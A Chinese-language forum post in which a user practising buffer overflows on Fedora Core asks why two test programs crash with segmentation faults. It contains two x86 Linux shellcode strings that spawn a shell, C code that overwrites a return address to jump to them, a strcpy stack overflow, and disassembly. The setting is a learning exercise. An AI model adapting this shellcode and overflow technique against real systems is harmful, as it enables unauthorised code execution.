- 论坛徽章:
- 0
|
我在测试缓冲溢出,本机上安装vmware ,fedro core ,
源程序如下:
char shellcode[] =
"\xeb\x18\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b\x89\xf3\x8d\x4e\x09"
"\x8d\x56\x0d\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x00\xc9\xc3";
int main ()
{
int * ret; /* 当前esp指向的地址保存ret的值 */
ret = ( int * )&ret + 2; /* 得到 esp + 2 * 4,那是返回地址IP */
( *ret ) = ( int )shellcode; /* 修改了 main() 函数的返回地址,那是很重要的一步 */
}
编译后:
push %ebp
mov %esp,%ebp
sub $0x8,%esp
and $0xfffffff0,%esp
mov $0x0,%eax
add $0xf,%eax
add $0xf,%eax
shr $0x4,%eax
shl $0x4,%eax
sub %eax,%esp
lea 0xfffffffc(%ebp),%eax
add $0x8,%eax
mov %eax,0xfffffffc(%ebp)
mov 0xfffffffc(%ebp),%eax
movl $0x8049560,(%eax)
leave
ret
在gdb中,执行到ret前,我察看esp的所指地址中,存放的是shellcode的地址,但是 ret后,报错:
segmentation fault;
我的os是fedora core 2.6.9
且用另一个程序
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
也报同样的错,我很迷茫阿。高手解决阿 |
|